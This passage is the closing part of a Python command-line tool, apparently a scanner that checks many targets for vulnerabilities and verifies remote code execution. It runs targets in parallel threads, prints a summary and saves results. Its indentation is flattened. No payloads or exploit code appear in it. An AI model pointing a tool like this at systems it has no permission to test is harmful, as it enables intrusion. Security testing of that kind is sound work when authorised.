# Deduplicate
targets = list(dict.fromkeys(targets))
info(f"loaded {len(targets)} target(s)")
print()
results: List[TargetResult] = []
workers = max(1, int(args.threads or 1))
def _run_one(t):
base = base_url(t)
print(f"{C.PURPLE}{'─' * 70}{C.RESET}")
info(f"processing: {C.BOLD}{base}{C.RESET}")
print()
try:
return process_target(base, args, args.timeout)
except Exception as e:
r = TargetResult(url=base, error=str(e))
err(f"unexpected error: {e}")
return r
if workers > 1 and len(targets) > 1:
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
futures = [executor.submit(_run_one, t) for t in targets]
for f in futures:
try:
results.append(f.result())
except Exception as e:
err(f"worker error: {e}")
else:
for t in targets:
results.append(_run_one(t))
if len(targets) > 1:
time.sleep(args.delay)
print_summary(results)
if args.output:
save_results(results, args.output)
# Exit code: 0 if any vulnerable, 1 otherwise
if any(r.vulnerable for r in results) or any(r.rce_verified for r in results):
return 0
return 1
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
print(f"\n{C.YELLOW}[!] interrupted by user{C.RESET}")
sys.exit(130)
except Exception as e:
print(f"{C.RED}[-] fatal: {e}{C.RESET}")
sys.exit(1)